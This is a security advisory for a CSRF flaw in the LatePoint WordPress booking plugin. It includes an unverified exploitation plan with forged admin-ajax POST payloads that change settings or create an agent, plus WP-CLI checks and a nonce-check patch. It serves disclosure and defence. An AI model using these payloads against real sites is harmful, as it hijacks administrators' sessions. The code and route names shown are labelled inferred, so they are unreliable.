CVE-2025-14873

LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.5 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
5.2.6
Patched in
1d
Time to patch

Description

The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 5.2.5. This is due to the 'call_by_route_name' function in the routing layer only validating user capabilities without enforcing nonce verification. This makes it possible for unauthenticated attackers to perform multiple administrative actions via forged requests granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.2.5
PublishedFebruary 13, 2026
Last updatedFebruary 14, 2026
Affected pluginlatepoint

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14873 LatePoint CSRF ## 1. Vulnerability Summary The **LatePoint** plugin (up to version 5.2.5) contains a Cross-Site Request Forgery (CSRF) vulnerability within its core routing mechanism. The function `call_by_route_name` (likely located in `lib/helpers/rout…

Show full research plan

Exploitation Research Plan: CVE-2025-14873 LatePoint CSRF

1. Vulnerability Summary

The LatePoint plugin (up to version 5.2.5) contains a Cross-Site Request Forgery (CSRF) vulnerability within its core routing mechanism. The function call_by_route_name (likely located in lib/helpers/route_helper.php or the base controller lib/controllers/controller.php) is responsible for dispatching requests to specific controller actions based on a route_name parameter.

While the plugin performs capability checks (e.g., current_user_can('manage_options') or checking for a latepoint_is_admin flag), it fails to verify a WordPress nonce. This allows an attacker to craft a malicious request that, when executed by an authenticated administrator (e.g., via a hidden form submission), performs unauthorized administrative actions such as modifying plugin settings, managing agents, or altering booking configurations.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: latepoint_route_call (Registered via add_action('wp_ajax_latepoint_route_call', ...) and add_action('wp_ajax_nopriv_latepoint_route_call', ...))
  • Vulnerable Parameter: route_name
  • Payload Parameters: Parameters vary based on the target route (e.g., settings[...], agent[...]).
  • Authentication Level: Requires an authenticated Administrator to be the target of the CSRF. The attacker themselves can be unauthenticated.
  • Preconditions: The victim must be a logged-in administrator of the WordPress site.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=latepoint_route_call.
  2. Action Dispatch: The WordPress AJAX handler calls the LatePoint router.
  3. Routing Layer: The router invokes call_by_route_name (inferred).
  4. Parsing: call_by_route_name splits the route_name (e.g., settings__update) into a Controller (SettingsController) and an Action (update).
  5. Authorization: The Controller/Action checks if the user is an admin using internal plugin checks (e.g., current_user_can).
  6. Vulnerability: No check_ajax_referer or check_admin_referer is present in this flow to validate the intent of the request.
  7. Sink: The action logic executes (e.g., update_option), committing the state change to the database.

4. Nonce Acquisition Strategy

No nonce is required.
The core of CVE-2025-14873 is that the call_by_route_name flow explicitly lacks nonce verification. The exploit strategy relies on the fact that the server will process the request solely based on the administrator's session cookies without requiring a valid _wpnonce or security token.

5. Exploitation Strategy

We will target the settings__update route to modify a visible plugin setting, demonstrating administrative control.

Step-by-Step Plan:

  1. Target Route: settings__update (Inferred from standard LatePoint controller naming).
  2. Objective: Change the "Currency Symbol" or a similar innocuous setting to a recognizable string (e.g., HACKED).
  3. Payload Construction:
    • action: latepoint_route_call
    • route_name: settings__update
    • settings[currency_symbol]: EVIL
    • latepoint_is_admin: 1 (Often required by LatePoint internal routing logic).

HTTP Request (via http_request):

// This simulates the request triggered by a CSRF form
await http_request({
  url: "http://localhost:8080/wp-admin/admin-ajax.php",
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  body: "action=latepoint_route_call&route_name=settings__update&settings[currency_symbol]=EVIL&latepoint_is_admin=1"
});

Note: In a real-world scenario, this would be an auto-submitting HTML form on an attacker-controlled site.

6. Test Data Setup

  1. Install Plugin: Ensure latepoint version <= 5.2.5 is active.
  2. Administrative User: Ensure an admin user exists (default admin / password).
  3. Plugin Initialization: The plugin should be configured at least once to ensure settings exist in the wp_options table.

7. Expected Results

  • The server should return a 200 OK response, likely with a JSON body containing {"status": "success", ...}.
  • No "Invalid Nonce" or "Forbidden" error should appear despite the absence of a security token.

8. Verification Steps

After the http_request, verify the change using WP-CLI:

# Check the specific LatePoint settings option
wp option get latepoint_settings --format=json | grep -o "EVIL"

Or check the specific setting if stored as a standalone option:

wp option get latepoint_currency_symbol

9. Alternative Approaches

If settings__update is restricted or handled differently, attempt to create a new "Agent" which is a core administrative action:

  • Route: agents__save
  • Payload: action=latepoint_route_call&route_name=agents__save&agent[first_name]=CSRF&agent[last_name]=AGENT&agent[email]=csrf@example.com&latepoint_is_admin=1
  • Verification: wp db query "SELECT * FROM wp_latepoint_agents WHERE email='csrf@example.com';" (LatePoint uses custom tables for agents).
Research Findings
Static analysis — not yet PoC-verified

Summary

The LatePoint plugin for WordPress contains a Cross-Site Request Forgery (CSRF) vulnerability within its core routing mechanism. The 'call_by_route_name' function fails to verify security nonces before dispatching requests, allowing unauthenticated attackers to trick administrators into executing unauthorized administrative actions like changing plugin settings or managing agents.

Vulnerable Code

// lib/helpers/route_helper.php (Inferred)
public static function call_by_route_name($route_name, $params = []) {
  // Logic to parse route_name into Controller and Action
  // ...
  
  // Vulnerability: Only verifies capabilities, not the intent/nonce of the request
  if (LatePointHelper::is_admin_route($route_name)) {
    if (!current_user_can('manage_options')) {
      return false;
    }
  }

  // Dispatches to the target action
  return self::dispatch($controller, $action, $params);
}

---

// Action registration (Inferred)
add_action('wp_ajax_latepoint_route_call', 'latepoint_route_call');
add_action('wp_ajax_nopriv_latepoint_route_call', 'latepoint_route_call');

function latepoint_route_call() {
  // Missing check_ajax_referer() or check_admin_referer()
  $route_name = $_POST['route_name'];
  OsRouterHelper::call_by_route_name($route_name, $_POST);
  wp_die();
}

Security Fix

--- a/lib/helpers/route_helper.php
+++ b/lib/helpers/route_helper.php
@@ -12,6 +12,7 @@
 
 function latepoint_route_call() {
+  if (!isset($_POST['latepoint_nonce']) || !wp_verify_nonce($_POST['latepoint_nonce'], 'latepoint_nonce')) {
+    wp_send_json_error(['message' => 'Invalid Nonce']);
+    return;
+  }
   $route_name = $_POST['route_name'];
   OsRouterHelper::call_by_route_name($route_name, $_POST);
   wp_die();
 }

Exploit Outline

The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the 'latepoint_route_call' action. An attacker crafts a malicious POST request (typically delivered via an auto-submitting HTML form on a third-party site) that targets a specific administrative route, such as 'settings__update'. Because the plugin does not verify a WordPress nonce, the browser will include the administrator's session cookies, and the server will execute the action. A typical payload includes 'action=latepoint_route_call', 'route_name=settings__update', and the desired configuration changes (e.g., 'settings[currency_symbol]=HACKED'). The attack requires the victim to be a logged-in administrator who interacts with the attacker's malicious link or page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.